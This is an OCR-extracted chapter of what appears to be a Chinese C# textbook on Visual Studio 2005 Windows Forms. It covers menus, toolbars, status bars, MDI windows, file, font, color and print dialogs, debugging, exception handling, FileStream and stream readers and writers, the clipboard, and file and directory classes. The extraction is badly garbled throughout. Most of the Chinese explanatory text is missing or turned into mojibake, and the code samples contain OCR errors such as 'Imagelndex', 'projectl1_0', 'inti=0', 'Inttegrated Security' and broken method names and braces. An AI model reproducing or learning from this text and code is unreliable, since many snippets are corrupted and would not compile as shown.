S R S
#igk w
L
FHE)
B ) ] EFHBO
A ) ¢ |[2 MenuTten
Hir @) » |EF ComboBox
fii=2g3) b
3& i © sbl  TextBox
By Ehla
><J H#ikz @
AR @)
e A aeo
11-1 MenuStrip 11-2
MenuStrip  ContextMenuStrip 11-3 11-4
MenuStrip
ContextMenuStrip
Foral
uE M@ Eo
ContextMenuStrip
=5
xH© =
FTEN ) l:l
FTENFRE (¥)
B €
- ﬁ)\ “:J';olstnPMenuI(.em G o ¥,
2 menStripl B8] contextenStripl = memuStripl | FE contentMensStripl
11-3  MenuStrip 11-4  ContextMenuStrip
ToolMenuStrip 11-1
% 11-1  ToolMenuStrip &85 B 1
1 Image
2 Checked False
. True
3 CheckOnClick False
False
4 DropDownltems

2. RmMRBBELEEN
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ToolMenuStrip 11-2 11.2

%11 % A E R xtiiE

% 11-2  ToolMenuStrip =8 = BEH

1 Click
2 CheckedChanged CheckOnClick
11.1.2  TRIERPHASIER I
1. TREEES
11-5 Word 2003
EEvV-A-%0H
- nEze
11-5 Word 2003
11-5
MenuStrip
ToolStrip F :
MenuStrip  ToolStrip ; g [0
- all
MenuStrip ToolStrip nt et
A Label
ToolStrip MenusStrip @ sitsatien
. 2 TroplownButton
ToolStrip Separator
MenuStrip ToolStrip 4 B ConboBon
abll TextBox
@) ProgressBar
i0u toolStripl
11-6 116 ToolStript
ToolStrip 11-3
#* 11-3  ToolStrip ZEHHEABM
1 GripStyle Visible
2 LayoutStyle HorizontalStackWithOverflow
3 Items
4 ShowltemToolTip True ToolTip
ToolStrip True
5 Stretch False False
6 Image
ToolStrip Click

Click
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project11-0 Forml RichTextBox
Bold TItalic Underline

1 Forml ToolStrip ToolStripl
ToolStripl Items (] “ i
toolStripButton CheckOnClick True
ComboBox “ 7z toolStripComboBox
1 11-7 “ 7z
IR AR ) ToolStripComboBox toslStripComboBoxl
3 ComboBox - 4
R =F: 33 fal
55 toolStripl CauzesValidatio: True
teelStripbuttonl + & A EEE
toolStripButte: Accessiblelescr
mizmzzumj Accessi bleHame
= oBox AccessibleRele Default
= &t
[i:] toslStripConboBo
GenerateMember True
Medifiers Frivate
= BE
(hpplicationSet
Ttems (Collection)
Taz v
it
117 == >
2 ImageList Imagelistl images ()
~\images bold.ico italic.ico underline.ico ( C
) Forml load()
private void Form1_Load(object sender, EventArgs e)
{
toolStrip1.ImageList = imageList1;
toolStripButton1.Imagelndex = 0;
toolStripButton2.Imagelndex = 1;
toolStripButton3.Imagelndex = 2;
H
3 Combo Box 1 Items “ Times

New Roman~~

public Form1()
{
InitializeComponent();
this.toolStripComboBox1.SelectedIndex = 0;

H
4
//toolStripButton1 Bold
private void toolStripButton1 CheckedChanged(object sender, EventArgs )

{
Font oldFont,newFont;
bool checkstate = ((ToolStripButton)sender).Checked;
oldFont = this.richTextBox1.SelectionFont;
if (!checkstate)
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newFont = new Font(oldFont, oldFont.Style & ~FontStyle.Bold); //
else

newFont = new Font(oldFont, oldFont.Style | FontStyle.Bold); /
this.richTextBox1.SelectionFont = newFont;
this.richTextBox1.Focus();

}
//toolStripButton2 Itlic
private void toolStripButton2 CheckedChanged(object sender, EventArgs )
{
Font oldFont, newFont;
bool checkstate = ((ToolStripButton)sender).Checked;
oldFont = this.richTextBox1.SelectionFont;
if (!checkstate)
newFont = new Font(oldFont, oldFont.Style & ~FontStyle.Italic );
else
newFont = new Font(oldFont, oldFont.Style | FontStyle.Italic);
this.richTextBox1.SelectionFont = newFont;
this.richTextBox1.Focus();
}
// toolStripButton1 Underline
private void toolStripButton3 CheckedChanged(object sender, EventArgs )
{

Font oldFont, newFont;
bool checkstate = ((ToolStripButton)sender).Checked;
oldFont = this.richTextBox1.SelectionFont;
if (!checkstate)
newFont = new Font(oldFont, oldFont.Style & ~FontStyle.Underline);
else
newFont = new Font(oldFont, oldFont.Style | FontStyle.Underline);
this.richTextBox1.SelectionFont = newFont;
this.richTextBox1.Focus();
}
// toolStripComboBox1 Times New Roman
private void toolStripComboBox1_SelectedIndexChanged(object sender, EventArgs e)
{
string text=((ToolStripComboBox)sender).SelectedItem.ToString();
Font newfont=new Font(text,richTextBox1.SelectionFont.Size,richTextBox1.SelectionFont.Style);
richTextBox1.SelectionFont=newfont;

}
5 11-8
2. KRN
Windows
Visual Studio 2005 StatusStrip ToolStrip ToolStrip
11-9 StatusLabel StatusStrip
StatusStrip ToolStrip

StatusStrip ~ StatusLabel
AutoSize  DoubleClickEnable
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(¥ Foral g

HEPA RS -

e T

= ! I;,Iq' StatusLabel _I
@] ProgressBar
= DropDownButton
[Ir SplitButton .
11-8 11-9
11.2 {21t MDI &1t
Windows Microsoft Office Word 2003
Word
Windows
SDI
MDI Word 2000 SDI MDI
Word 2003
11.2.1  MDI F &l ¥ & ik
MDI MDI
Visual Studio 2005 MDI Windows
IsMdiContainer True MDI
MDI ““Windows 7 MdiParent
MdiParent
project11-0 Form2 Form2 Forml
1 Forml IsMdiConatainer  True 11-10 Forml
MDI
2 Richtextbox 11-11

11-10 Forml

Form2

11-11
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3 Form
Form2
public Form2(projectl1 0.Form1 parent)
{
InitializeComponent();
this.MdiParent=parent; // MDI
H
Forml MDI
public Form1()
{
InitializeComponent();
1/l this MDI
projectl1_0.Form?2 childl =new projectl1_0.Form2(this);
child1.Show(); / childl
projectl1_0.Form?2 child2 =new projectl1_0.Form2(this);
child2.Show(); /1 child2
}
4 11-12

115 8o

this

11.2.2  MDI B9

MDI MDI
MDI
2 MDI
cc [77== 77>
1 “c i 11-13 a
““Click”” 11-13 b
2 Forml.cs*

public partial class Form1 : Form

{
public Form1()

{

InitializeComponent();

}

““Form2”~
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/i “c i
inti=0;
private void ToolStripMenultem_Click(object sender, EventArgs e)
{
/I Form2 frm  this MDI Forml1
Form2 frm = new Form2(this);
i++;
frm. Text=" "+1.ToString();
frm.Show();
¥
(Erom [ [O]X]] = 57] & [7] &
By BackColorChanged
| [ oE @0 e e
TED eckStateChange ﬁ
|| B gFo Di splayS tyleChanged
EHIC) DoubleClick
a7 b Click
11-13
i 1 14
11.3 ERENEIEEM
CommandDialog
ShowDialog()  Reset() ShowDialog() DialogResult
Reset()
11.3.1 XPEXiSIEr
CommandDialog
Visual Studio 2005 OpenFileDialog
SaveFileDialog
Visual Studio 2005
ShowDialog()
1. OpenFileDialog &=
OpenFileDialog
Show()
OpenFileDialogl Buttonl

private void buttonl _Click(object sender, EventArgs e)

{
OpenFileDialogl.Show();

11-4
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% 11-4 OpenFileDialog ¥ #-8E BB M

1 Tiltle

2 InitialDirectory

3 Filter

4 FilterIndex 1

5 MultiSelect False

6 ValidateNames False

7 ShowHelp False
OpenDGL Filter

OpenDGL.Filter="Text documents (*.txt)|*.txt|Word for Windows|*.

doc|All Files [*.*;

[ Text documents (*.txt) Word for Windows

*txt *.doc  *.*

DialogResult
None

FileName

FileName

FileName

ListBox IstB

Forml

ShowDialog()

All Files]
Show()
None No OK Abort Cancel Ignore Retry Yes
DialogResult.OK  DialogCancel “c
MultiSelect True FileName
FileName
projectl1-1 Forml
OpenFileDialog openD Buttonl Text
IstB
private void buttonl _Click(object sender, EventArgs e)
{

openD.Filter = "Text documents (*.txt)| *.txt{Word for Windows(*.doc)|*.doc|All files(*.*)[*.*";

openD.FilterIndex =1;

openD.Multiselect = true;

if (openD.ShowDialog() == DialogResult.OK)

foreach (string s in openD.FileNames)
this.1stB.Items.Add(s);
}
MultiSelect False
FileName
Forml Button2 Text “
7z Button2

IstB
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private void button2 Click(object sender, EventArgs e)

{
openD.Filter = "Text documents (*.txt)|*.txt{Word for Windows|*.doc|All files|*.*";
openD.FilterIndex =1;
openD.Multiselect = false;
this.listBox1.Items.Clear();
if (openD.ShowDialog() == DialogResult.OK)
this.listBox1.Items.Add(openD.FileName);
5
2. SaveFileDialog 3iEHESE {4
OpenFileDialog
OpenFileDialog 11-5
% 11-5 SaveFileDialog &8 A B
1 Tiltle
True
2 AddExtension True
True
3 CheckFileExists False
False
4 OverwritePrompt True
5 CreatePrompt False
Forml TextBox1 Multiline True
“ 72 Button3 “ 7z TextBox1
SaveFileDialogl “c i
private void button3_Click(object sender, EventArgs ¢)
{
if (saveFileDialogl.ShowDialog() == DialogResult.OK)
{
string fileName = saveFileDialogl.FileName;
File.WriteAllText(fileName, textBox1.Text);
}
}
11.3.2  FOHIERE@ YT iSIER
1. FARIEER S
FontDialog
ShowDialog() FontDialog OK
DialogResult.OK Font

Font

if (fontDialog1.ShowDialog() == DialogResult.OK)
textBox1.Font = fontDialog!.Font;

FontDialog 11-6
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% 11-6 FontDialog = E AR
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1 AllowVectorFonts True
2 ShowColor False
3 ShowEffects True Strikeout  Underline
4 ShowApply False

2. BBIHEERH
ColorDialog FontDialog Color

if (colorDialogl.ShowDialog() == DialogResult.OK)
textBox1.ForeColor = colorDialogl.Color;

ColorDialog
AllowFullOpen True FullOpen True
ColorDialog 11-7
# 11-7 FontDialog =& R B M
1 AllowFullOpen False
2 FullOpen False
3 SolidColorOnly False
4 AnyColor False

11.4 {EHEFIEDMH

2005 PrintDialog

1.41 FTOERIE

NET PrintDocument
PrintDocument
PrintController
PrinterSetting
PrintDialog PrinterSetting

PageSetupDialog

Visual Studio
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1 PrintDocument Print()
PrintDocument PrintController PrintDocument
Print()
2 PrintController PrintDocument
PrintPage()
11.4.2  FTHICGRAYSEIR
Visual Studio 2005 PrintDialog
PrintDocument PrintDocument PrintDocument
PrintPage PrintDialog
ShowDialog() DialogResult
Windows Print()
projectl1-2 Forml RichTextBox!1 PrintDocument1
PrintDialogl Buttonl Buttonl RichTextBox1
I Using System.Drawing.Printing
Using System.Drawing.Printing
/I ““Buttonl””
private void buttonl_Click(object sender, EventArgs e)
{

printDialogl.Document = printDocument1;
DialogResult result = printDialog1.ShowDialog();
if (result == DialogResult.OK)

{
printDocument1.Print();
}
H
private void printDocument1_PrintPage(object sender, system.Drawing.Printing. PrintPageEventArgs e)
{
/* DrawString() 28 Arial 20
20 Graphics */
e.Graphics.DrawString(richTextBox1.Text, new Font("Arial", 28, FontStyle.Bold), Brushes.Blue,
20, 20);
H
[T
11.4.3  FTHIFESAISCH
PrintDocument PrintDialog NET
PrintDocument printPreviewDialog
projectl1-2  Forml printPreviewDialog Button2

Button2 RichTextBox

private void button2 Click(object sender, EventArgs e)
{

printPreviewDialogl.Document = printDocument;
printPreviewDialogl.ShowDialog ();



B 1% AR At 121 8o

private void printDocument] PrintPage(object sender, system.Drawing.Printing.PrintPageEventArgs e)

{

/* DrawString() 28 Arial 20
20 ; Graphics */

e.Graphics.DrawString(richTextBox1.Text, new Font("Arial", 28, FontStyle.Bold), Brushes.Blue, 20, 20);

¥

11.5 IRBEkit

i H&fR: MDI

MBRE: project11-3
1 MDI mainFrm “c i
WindowsState=Maximized
2 ce s3cc »> ce 23 ce
3
cc 23  cc 23 ce »> cc 177
cc 2> ce »> 1
4 ce 23
5
6 Windows Form2 RichTextBox “c
7z ee i Form2
InEBr:
1 MDI
2 MDI
3
4
IMEZR:
1 projectl1-3
Microsoft Visual Studio 2005 - - “c
72 “c 7 ““Viusal C#7” “c 72 ““Windows
i D:\chl1 “c i project11-3
2 MDI
Froml  Text “< ”? IsMDIContainer True
3 MDI
“c 7 MenuStrip menuStrip1l 11-14

4 MDI
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“ i ToolStrip toolStripl Items
() “ i Button toolStripButton1
toolStripButton4 ToolTipText “ 7z 7y 7y i
5
“ 7> ImageList Imageslist1 Images
“ 72 \images 11-15
BRELmRGD (23]
AN coler.ico BHEE):
e =
2| Fentico B &R
i W
T @
BES  BE]
e ey
—iEHj ® B, () W Wik
11-14 11-15 == 77
Form2 Form_load()
private void Form1_Load(object sender, EventArgs e)
{
toolStripl.ImageList = imageList1;
toolStripButton1.Imagelndex = 0;
toolStripButton2.Imagelndex = 1;
toolStripButton3.Imagelndex = 2;
}
6
Forml StatusStrip StatusStrip1 toolStripStatusLabel 1
Text AutoSize True Form_load()
toolStripStatusLabel1.Text = DateTime.Now.ToString();
7
“c i ““project11-3~7~ Windows Form2
WindowsState Maximized RichTextBox RichTextBox1
RichTextBox1  Dock Fill
Form2 ContextMenuStrip ContextMenuStripl ~ ContextMenuStrip2
7z« i Form2 RichTextBox1
ContextMenuStrip ContextMenuStrip1
8
10 ReadAllText() WriteAllText()

01. using System.IO;
02. /l Form2

03. private void new_file()



04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
14.
15.
16.

17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.

36.
37.
38.
39.
40.
41.
42.
43,
44,

45.
46.
47.
48.
49.
50.
51.
52.
53.
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{
projectll 3.Form?2 frm = new Form2();
frm.MdiParent = this;
frm. Text =" "+ 1.ToString();
i+t
frm.Show();
toolStripStatusLabell.Text = ActiveMdiChild.Text;
}

/l OpenFileDialog
private void open_file()
{
OpenFileDialog openD = new OpenFileDialog();
openD.Filter = "Text documents (*.txt)|*.txt{Word for Windows(*.doc)[*.doc|All
files(*.*)[*.*";
openD.FilterIndex = 1; // txt
if (openD.ShowDialog() == DialogResult.OK) /l “c i
{ Form2 frm = new Form2();
frm.MdiParent = this;
frm.Text = openD.FileName;
frm.Show();
toolStripStatusLabell.Text = openD.FileName;
if (openD.FileName != null) //
// File.ReadAllText()
ActiveMdiChild.ActiveControl. Text = File.ReadAllText(openD.FileName);
else
toolStripStatusLabell.Text =" "

/l RichTextBox
private void save_file()
{
SaveFileDialog saveD = new SaveFileDialog();
saveD.Filter = "Text documents (*.txt)[*.txttWord for Windows(*.doc)|*.doc|All
files(*.*)|*.*";
if (saveD.ShowDialog() == DialogResult.OK)
{ string fileName = saveD.FileName;
if (ActiveMdiChild != null)
{ toolStripStatusLabell.Text = ActiveMdiChild.Text;
try
{File.WriteAllText(fileName, ActiveMdiChild.ActiveControl.Text);
}
catch (IOException ex)
{MessageBox.Show(ex.Message, " ", Message BoxButtons.OK,

MessageBoxIcon.Exclamation);

}
}

else
toolStripStatusLabell. Text =" "
}
private void close_file()
{if (ActiveMdiChild != null)
ActiveMdiChild.Close();
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54, }

9

Forml1
new_file()

01. private void
02. {
03. }
04. private void
05. {
06. }

10

116 EJISRm

CENITER G

ToolStripMenultem_Click(object sender, EventArgs e)
new_file();

ToolStripMenultem_Click(object sender, EventArgs e)
Application.Exit();

MenuStrip
ToolStrip
StatusStrip
FileOpenDialog
FileSaveDialog
PrintDialog

MDI

FontDialog ColorDialog

11.7  Z1ES EislE

MDI

Rk

1 MenuStrip  ContextMenuStrip
2

3

4 Form1

5 SDI MDI

6 project11-0

7 Visual Studio 2005

OpenFileDialog
8

MDI

FileDialog FileDialog

9 OpenFileDialog  SaveFileDialog Filter  FilterIndex

SaveFileDialog
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10 OpenFileDialog SaveFileDialog
11 Visual studio 2005
12 DrawString()
Fillses

Se8h 1] set—Masi MDI Bk

[LIEEK]
1 projectl1-1 projectl1-2
2 Windows mainform
3 “c 7 project10-1
7z project10-2 “c
4
5
[XIEH]
1
2
3
4 MDI
5
6
7
[ZEAR]
1
2
3
4
5
[€56 2] iRTF—TER MDI Xrh4u§iEass
[SL36EEK]

—_

125 8o

ShowDialog()

Form
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2 s & 7 ® & 7?7 L ?7L L 7 s &

3 RichTextBox

4

5 Form2 RichTextBox “ i
[L1EEHY]

1

2

3

4
[LERE]

RichTextBox

[ N U R S
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12.1  TERRET

12.1.1  BIPER

12.1.2 @RI A

.NET cc LR
12-1 <= =7 1222

2 F5 Ctrl+Break

12-1
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private void Forml Load(object sender, Eventirgs el

toolStripl. Imagelist = imagelistl;
toolStripButtenl. Imagelndex = 0O;

tool3tripEutton?. Imagelndex = 1,
toolStripButtond. Imagelndex = 2;

12-1

12-3 =

® ® ®

PN @@

@ @
12-3 <= 77

Rt R

@ Il

12.1.3 PR MRt

1. RER

Wi | BEe TAM Wie)
O )
[ = | =] 5
P FPREIAT CRaRRE) () Curl4Fs
5 PitmElEE @
FEW CtrlD, E
EBRIT) Fit
[ ERQ 10

RAEEERS @)

12-2 ==

ok
=t B

i this {project11_1.Formi, Text: Formi}
@ sender {projectll_1.Forml, Text: Formi}
B fe {System.Eventargs}

5 I | R F ehen et |

12-4

project11

object {pi
m.E|

12-4
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3. BEPITRED

F11 F10 Shift+F11

12.2 HBEIE

100%

12.21 RERIREINE

Visual Studio 2005

12.2.2 G5iRfY S35

C#

try
{
/I

}

catch <(exceptionType e)>
{ r*
catch catch */

finally

{
/* try
catch */

try try
catch try-catch-finally
finally
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try catch finally try finally
try catch catch finally
11
01. protected void openFile(){
02. try
03. {
04. textBox1.Clear();
05. textBox1.Text=File.ReadAllText(filename);
06. }
07. catch
08. {
09. messageBox.Show(ex.Message, ““ 7,
MessageBoxButton.OK,MessageBoxIcon.Exclamation);
10. }
11. }

12.2.3 sl&k5H

throw()
01. private void Form1 Load(object sender, EventArgs e)
02. {
03. string connstr = "Server=(local)\\sqlexpress;Inttegrated Security=True; Database= northwind";
04. SqlConnection con=new SqlConnection(connstr);
05. try
06. {
07. con.Open();
08. MessageBox.Show(" " MessageBoxButtons.OK);
09. }
10. catch (ExecutionEngineException ex1)
11 {
12. MessageBox.Show(ex1.Message);
13. throw new ExecutionEngineException(" , "exl);
14. }
15. finally
16. {
17. con.Close();
18. }

12.3 InBEski

B &R project10-1
HEAS: < i
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Microsoft Visual Studio 2005 N N c<
77 “ 7z ““Viusal C#”~ “e i ““Windows
i D:\ch10 “c i ““project10-1~~
F5 12-5 cc =2 << i

205 private veid Gennumlref int mref int ¥)
21
2 Rendon ra_seed = new Handon (unchecked ((int)Dat cTine. Now Ticks))
23] x = ra_sesd Next (10, 100) AP0 00RL A AIFESR 81
24; ¥ = ra_seed Next (100] ST 00 P AT FE R ET
Nicrosoft Visual Studio
S BAERES. FAEIET SRR R
@
2O _Ew ]
v
O FBETHHIEE @) ¥
IR 1 x
A0 BE (Do EE
L] 2| 6l Al WA
Q1 IEEF T TERAT “string® T “int” SERHERTER i B4 31 projectl0-1
@2 TR “int” BIEBBRA “string” 0 15¢ 28 projectil-1

AR

12-5

1 12-6 “ .cs??

timerl.Interval=txtTimes.Text*100;

timerl.Interval=int.Parse(txtTimes.Text)*100;

3% private void MIRHES T Load(object zender, Eventhrzs el

B2 1

[ txtTimes. Text = Convert. ToString( 5):

B4 timerl Interval = [FENET) JEAA P aRRR s hl A
B5: timerl Enabled = false; AFAE REHEsT AR wHE.
B btnStop Enabled = false:

BT

68 chlchdd Checked = true//EUAEIIAINED » BINEEIEENE TR
£4: Add_Enable ():

T Sub_Unable ();

T Gen_Tten();

Tz 1

12-6 1

2 12-7 “ .cs?”?

txtLeft. Text=0;

txtLeft. Text=Convert.ToString(0);
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private void binllear Clicklohject sender, Eventhrzs el
1

1sthdd Ttems. Clear ():
lstSub. Ttems. Clear ():
btnHext Enabled = true:
count = 1;

tutleft. Taxt = fJ;

Gen Ttem();

12-7 2

F5 “ i 12-8

.cs private void
btnStart Click(object sender, EventArgs e) 12-9

SEOMES : =1 FE
[ =
[¥] % £l + 7T | = @E
[ ik
ik Wik
15+a2=97
594+80=139
B85+92=177
+4=25
48+17=65
+29=1
1044151
36+53=89
B2485=127
114 private void btnStart Click(object sender, Eventirgs e)
115 1
@ 16 count = 1;
117 btrHext. Enabled = false;
118 trtTimes. Enabled=falze :
113 binStop. Enabled = true;
120 txtLeft. Text = Convert. ToString )

12-8 12-9

F5 “c 7z F11
timer1_Tick() 12-10 count<10
count<10 count<=10

private void timerl Ticklobject sender, Eventirss e)
1
if (count<10)
JtxtLaft. Text = Convert. ToString (10-count);

display_item(J;
Gen_Item();

12-10

124 BJ]1S51BM|m

12.5 ZIRES LillSclE
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01.
02.
03.
04.
05.
06.
08.
09.
10.
11.

12.
13.
14.
15.
16.
17.
18.
19.
20.
21.

Fiinseis

[35]

C#

% 12F fKE R AR

F10 F11 Shift+F11

private void Form1 Load(object sender, EventArgs e)

{

project10-1

[ Em]

N A~ W N =

133 8o

string connstr = "Server=(local)\sqlexpress;Inttegrated Security=True;Database =northwind";

SqlConnection con=new SqlConnection(connstr);
try
{  con.Open();

}
catch (SqlException ex1)
{
MessageBox.Show("
BoxButtons.OK,MessageBoxIcon.Error);
}

catch (ExecutionEngineException ex2)
{
MessageBox.Show(ex2.Message);
throw new ExecutionEngineException("

}
finally
{
con.Close();
}

IR X project10-1 thTHIR
[s2GEXK]

" Message

, ",ex2);
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T #% Stream X ;
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|
|
B ¥ 3 StreamReader. StreamWriter.
|
|

13.1 Stream %

Stream
TCP/IP

Stream
1
2
3

Stream

13.2 FileStream Z&

Stream
FileStream FileStream

13.2.1 XA

FileStream Seek

BinaryWriter #= BinaryReader & & i 5 324%;

Stream

Stream

FileStream

Seek /
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SeekOrigin SeekOrigin
Begin Current End
8
01. myFS.Seek(8,SeekOrigin.Begin);
10
01. myFS.Seek(2,SeekOrigin.Current);
10
10
SeekOrigin.End
5

01. myFS.Seek(-5, SeekOrigin.End);
13.2.2  icHYES
FileStream

FileStream
FileStream StreamReader
FileStream.Read() FileStream
FileStream
0
example.dat
Windows FileStreamReadFile
using System.IO
3 Load

01. byte[] byData = new byte[100];

02. char[] charData = new char [100];

03. try

04. {

05. FileStream myFS = new FileStream("example.dat", FileMode.Open);

06. myFS.Seek(5, SeekOrigin.Begin);

07. myFS.Read(byData, 0, 100);

08. }

09. catch (IOException ex)

10. {

11. MessageBox.Show(ex.ToString());

12. return;

13. }

14. Decoder dec = Encoding. UTF8.GetDecoder();
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15. dec.GetChars(byData, 0, byData.Length, charData, 0);
16. MessageBox.Show(charData[0]. ToString());

example.dat

FileStream myFS = new FileStream("example.dat",FileMode.Open);

myFS.Seek(5,SeekOrigin.Begin);
myFS.Read(byData,0,100);

5 100
byData
try-catch
10 10 Exception
System.Text Decoder
Decoder dec = Encoding. UTF8.GetDecoder();
dec.GetChars(byData, 0, byData.Length, charData, 0);
UTF8 Decoder Unicode
GetChars()
13.2.3 GAEIR
Encoder
Decoder Write()
Windows FileStreamWriteFile
using System.IO
3 Load
01. byte[] byData;
02. char[] charData;
03. try
04. {
05. FileStream myFS = new FileStream("example2.dat", FileMode.Create);
06. charData =" A good book is a good friend. ".ToCharArray();
07. byData = new byte[charData.Length];
08. Encoder enc = Encoding. UTF8.GetEncoder();
09. enc.GetBytes(charData, 0, charData.Length, byData, 0, true);
10. myFS.Seek(0, SeekOrigin.Begin);
11. myFS.Write(byData, 0, byData.Length);
12. }
13. catch (IOException ex)
14. {

15. MessageBox.Show(ex.Message);
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16. return;
17. }

4
5 FileStreamWriteFile\bin\Debug example2.dat ““A
good book is a good friend.””

Write() Read() Encoder Decoder
String ToCharArray() C#
““My pink half of the drainpipe.”” String

CharData =" A good book is a good friend.".ToCharArray();

FileStream

Encoder enc = Endoding. UTF8.GetEncoder();
enc.GetBytes(charData,0,charData.Length, byData,0,true);

UTF8 Encoder Unicode
GetBytes()
( charData)
© )
(charData.Length charData )
(byData) ( byData )
Encoder Encoder
Encoder
Encoder True
Write() FileStream

myFS.Seek(0,SeekOrigin.Begin);
myFS.Write(byData,0,byData.Length);

Read() Write()

13.3 HFEEHIRIIZE

BinaryWriter BinaryReader StreamReader StreamWriter

13.3.1 &S ThbI X PHIYRF

BinaryReader BinaryWriter /
Test.data
Windows BinaryWriter Test.data 0 10 Test.data
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BinaryReader
Windows BinaryWriterAndBinaryReader
using System.IO
3 Load
01. string FileName = "Test.data";
02. if (File.Exists(FileName))
03. {
04. MessageBox.Show(string.Format(" {0} ", FileName));
0s. return;
06. }
07. FileStream fs = new FileStream(FileName, FileMode.CreateNew);
08. Binary Writer bw = new Binary Writer(fs);
09. for (inti=0;i<11;i++)
10. {
11. bw. Write((int)i);
12. }
13. bw.Close();
14. fs.Close();
15. fs = new FileStream(FileName, FileMode.Open, FileAccess.Read);
16. BinaryReader br = new BinaryReader(fs);
17. for (inti=0;i<11; it++)
18. {
19. MessageBox.Show(br.ReadInt32(). ToString());
20. }
21. br.Close();
22. fs.Close();
4
Test.data Test.data
IO Exception FileMode.CreateNew
BinaryWriter ~ Test.data 0 10 Test.data
BinaryReader

CENITER G

13.3.2  ESXXIHME

IO Exception

TextReader StreamReader
TextReader
StreamReader Stream
StreamReader
StreamReader UTF-8 ANSI
Unicode
TextWriter
StreamWriter TextWriter

StreamWriter Stream

TextReader

UTF-8
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StreamWriter UTF 8 Encoding UTF 8Encoding
Encoding.GetPreamble UTF 8 Unicode
StreamWriter
UTF 8 Unicode
StreamReader
StreamReader ReadLine
ReadLine )
1
““hello world”” ““Test.txt>”
bin\Debug
Windows StreamReaderFile
using System.IO
4 Load
01. String line;
02. try
03. {
04. StreamReader sr = new StreamReader("Test.txt");
05. line = sr.ReadLine();
06. while (line != null)
07. {
08. MessageBox.Show(line);
09. line = sr.ReadLine();
10. }
11. sr.Close();
12. }
13. catch (Exception ex)
14. {
15. MessageBox.Show("Exception: " + ex.Message);
16. }
17. finally
18. {
19. MessageBox.Show("Executing finally block.");
20. }
5 ““hello world””
StreamWriter StreamWriter
StreamReader StreamWriter
WriteLine
1 Test.txt bin\Debug
2 Windows StreamWriterFile
3 using System.IO
4 Load
01. try
02. {

03. StreamWriter sw = new StreamWriter("Test.txt");
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04. sw.WriteLine("Hello World!!");

05. sw.WriteLine("From the StreamWriter class");
06. sw.Close();

07. }

08. catch (Exception ex)

09. {

10. MessageBox.Show("Exception: " + ex.Message);
11. }

12. finally

13. {

14. MessageBox.Show("Executing finally block.");
15. }

13.4 XISHMRZEISE

Windows
C# Clipboard &
Ctrl+V
01. if (this.textBox1.Text =="")
02. {
03. MessageBox.Show("Copy " ");
04. return;
05. }
06. else
07. /I SetDataObject(Object obj,bool copy)
08. 1 obj
09. // copy
10. Clipboard.SetDataObject(this.textBox1.Text,true);
Windows Button Label PictureBox
1 = & >y
Label
2 s c >y
PictureBox
[DataObject

Clipboard
GetDataObject() IDataObject IDataObject
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GetDataPresent(System.Type format) [DataObject

121 8o

bool
IDataObject GetData(System.Type format) Object
01. /I GetDataObject
02. IDataObject iData = Clipboard.GetDataObject();
03. / bool
04. if (iData.GetDataPresent(DataFormats. Text))
05. {
06. //GetData
07. this.labell.Text = (string)iData.GetData(DataFormats.Text);
08. )
09. else
10. {
11. MessageBox.Show(" " ");
12. }
13.5 XHiHIBRZE
NET File Directory
Filelnfo DirectoryInfo File Directory
13.5.1 XPHE
System.1O.File
File DateTime
File /0
File OpenText CreateText Create
File File
Filelnfo
File
Filelnfo
/
FileInfo
Filelnfo /O
Filelnfo File
File
01. string path = @"c:\temp\MyTest.txt";
02. if (!File.Exists(path))
03. {
04. using (StreamWriter sw = File.CreateText(path))
05. {

06. sw.WriteLine("Hello");
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07. sw.WriteLine("And");

08. sw.WriteLine("Welcome");

09. }

10. }

11. using (StreamReader sr = File.OpenText(path))
12. {

13. string s ="";

14. while ((s = sr.ReadLine()) != null)

15. {

16. MessageBox.Show(s);

17. }

18. }

19. try

20. {

21. string path2 = path + "temp";

22. File.Delete(path2);

23. File.Copy(path, path2);

24, MessageBox.Show(string.Format(" {0} was copied to {1}.", path, path2));
25. File.Delete(path2);

26. MessageBox.Show(string. Format(" {0} was successfully deleted.", path2));
27. }

28. catch (Exception ex)

29. {

30. MessageBox.Show( ex.ToString());

31 }

13.5.2 B®RE

Directory Directory
DateTime
Directory Directory
DirectoryInfo
Directory
DirectoryInfo
DirectoryInfo
DirectoryInfo Directory
Directory Windows
GetDirectory ~ Windows
2 Forml
01. string[] drives = Directory.GetLogicalDrives();
/1
02. for (int i = 0; i < drives.Length; i++)
/1
03. listBox1.Items.Add ( drives[i]);
/1 listBox1
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1 Directory GetLogicalDrives() “e<
>:\””
2 drives.Length
3 listBox

13.6 INBEIELTE

B &R: FileStream

MBRE: FileStream
B BR:
1 FileStream
2 FileStream
3 FileStream File CopyTo
B LR
1 textBox1 H1.
01. OpenFileDialog OpenFile = new OpenFileDialog();
02. if (OpenFile.ShowDialog() == DialogResult.OK)
03. textBox1.Text = OpenFile.FileName;
2 textBox2 #1,
01. SaveFileDialog SaveFile = new SaveFileDialog();
02. if(SaveFile.ShowDialog()== DialogResult.OK)
03. textBox2.Text = SaveFile.FileName;
3 FileStream
01. FileStream fsr = null;
02. FileStream fsw = null;
03. try
04. {
05. this.progressBarl.Maximum = 100;
06. fsr = new FileStream(this.textBox1.Text, FileMode.Open);
07. fsw = new FileStream(this.textBox2.Text, FileMode.Create);
08. byte[] bt = new byte[1024 * 1024];
09. int rcount = 0;
10. do
1. {
12. Application.DoEvents();
13. rcount = fsr.Read(bt, 0, bt.Length);
14. fsw.Write(bt, 0, rcount);
15. this.progressBarl.Value = ((int)(((float)fsw.Length / (float)fsr.Length) * 100));
16. Application.DoEvents();
17. } while (rcount != 0);
18. fsr.Close();
19. fsw.Close();

20. }
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21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.

CENITER G

catch (Exception ex)

{

if (fsr !=null)

{
fsr.Close();
fsr = null;
}
if (fsw != null)
{
fsw.Close();
fsw = null;
}

MessageBox.Show(ex.ToString());

13.7 ETJ151BMm

NET / System.10
Stream FileStream BinaryReader BinaryWriter StreamReader
StreamWriter

13.8 TI#5 EMSkcE
Rk

1

2 Directory

3 Directory

4

5 File
Fillses
[3t96 1] JB StreamReader/# ., StreamWriter #ifll File ZR2MP X
[ L36EEK]

[100 200] Numbers.dat

Numbers.dat
[Z®EM]

1
2

Numbers.dat



% 13F  fife A A s R AE

3
4
[LIEAR]
1 50 [100 200]
2 Numbers.dat
3
4 Numbers.dat
[SC3u 2] {®HB FileInfo ZESCHRX PHIRRRBS N . B . S HIRNMNIBS
[s2EEK]
FileInfo FileInfo Attributes
CopyTo Delete
[SRIeEAY]
1 FileInfo
2
3
4
[SZERE]
